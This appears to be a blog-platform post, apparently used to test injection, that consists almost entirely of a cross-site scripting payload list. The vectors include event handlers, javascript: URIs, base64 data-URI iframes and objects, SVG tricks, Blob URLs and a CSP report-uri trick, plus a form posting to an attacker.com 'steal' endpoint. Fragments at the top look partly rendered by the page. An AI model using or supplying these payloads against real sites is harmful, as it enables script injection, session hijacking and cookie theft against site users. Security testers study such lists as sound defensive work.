Number 3

Words
89
Reading
1 min
2y
Listen to this post
~1 min
Drag me
window.onstorage = function(e) { alert('XSS from storage event') }; localStorage.setItem('test', 'XSS');
XSS
Click me var win = window.open('about:blank', '_self'); win.document.write('alert("XSS")'); win.document.close();
var observer = new MutationObserver(function(mutations) { mutations.forEach(function(mutation) { alert('XSS via MutationObserver'); }); }); observer.observe(document.getElementById('xss'), { attributes: true }); document.getElementById('xss').setAttribute('data-xss', 'trigger'); Click me Cut this text
(Unsupported src)
var img = document.createElement('img'); img.setAttribute('onerror', 'alert("XSS")'); img.src = 'invalid'; document.body.appendChild(img); ''-alert('XSS')// document.cookie="username=alert('XSS')"; Click me
(Unsupported src)
asd var blob = new Blob(["alert('XSS')"], { type: 'text/html' }); var url = URL.createObjectURL(blob); var iframe = document.createElement('iframe'); iframe.src = url; document.body.appendChild(iframe);


<!-- HTML5 Drag-and-Drop -->
<div draggable="true" ondragstart="alert('XSS')">Drag me</div>

<!-- HTML5 Storage Event -->
<script>
  window.onstorage = function(e) { alert('XSS from storage event') };
  localStorage.setItem('test', 'XSS');
</script>

<!-- HTML5 Microdata -->
<div itemscope itemtype="http://schema.org/Person">
  <span itemprop="name" contenteditable onblur="alert('XSS')">XSS</span>
</div>

<!-- JavaScript URI with backticks -->
<a href="javascript:alert`XSS`">Click me</a>

<!-- Event handler in an SVG use element -->
<svg>
  <use xlink:href="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoJ1hTUycpPjwvc3ZnPg=="></use>
</svg>

<!-- Injecting script via window.open -->
<script>
  var win = window.open('about:blank', '_self');
  win.document.write('<script>alert("XSS")<\/script>');
  win.document.close();
</script>

<!-- HTML Imports (deprecated but interesting for legacy browsers) -->
<link rel="import" href="data:text/html,<script>alert('XSS')<\/script>">

<!-- JavaScript via the CSP report URI -->
<meta http-equiv="Content-Security-Policy" content="report-uri javascript:alert('XSS')">

<!-- MutationObserver -->
<div id="xss"></div>
<script>
  var observer = new MutationObserver(function(mutations) {
    mutations.forEach(function(mutation) {
      alert('XSS via MutationObserver');
    });
  });
  observer.observe(document.getElementById('xss'), { attributes: true });
  document.getElementById('xss').setAttribute('data-xss', 'trigger');
</script>

<!-- CSS Import with JavaScript execution -->
<style>@import 'javascript:alert("XSS")';</style>

<!-- Template literal in an event handler -->
<button onclick="`${alert('XSS')}`">Click me</button>

<!-- oncut Event -->
<textarea oncut="alert('XSS')">Cut this text</textarea>

<!-- JavaScript in base64 encoded content -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></iframe>

<!-- Off-Domain form submission -->
<form action="https://attacker.com/steal?data=<script>alert('XSS')</script>">
  <input type="submit" value="Submit">
</form>

<!-- Dynamically setting an attribute -->
<script>
  var img = document.createElement('img');
  img.setAttribute('onerror', 'alert("XSS")');
  img.src = 'invalid';
  document.body.appendChild(img);
</script>

<!-- SVG Animation -->
<svg width="100" height="100">
  <animate attributeName="xlink:href" from="javascript:alert('XSS')" to=" " />
</svg>

<!-- Nested Scripts -->
<script>''-alert('XSS')//</script>

<!-- Cookie via HttpOnly bypass (if possible) -->
<script>document.cookie="username=<script>alert('XSS')</script>";</script>

<!-- URL Fragment -->
<a href="#' onclick='alert(document.cookie)'">Click me</a>

<!-- Object Tag with type change -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+" type="text/html"></object>

<!-- Data URI in an iframe -->
<iframe src="data:text/html,<script>alert('XSS')"></script>"></iframe>
asd
<!-- HTML5 audio tag with event -->
<audio src="x" onerror="alert('XSS')"></audio>

<!-- Blob URL -->
<script>
  var blob = new Blob(["<script>alert('XSS')<\/script>"], { type: 'text/html' });
  var url = URL.createObjectURL(blob);
  var iframe = document.createElement('iframe');
  iframe.src = url;
  document.body.appendChild(iframe);
</script>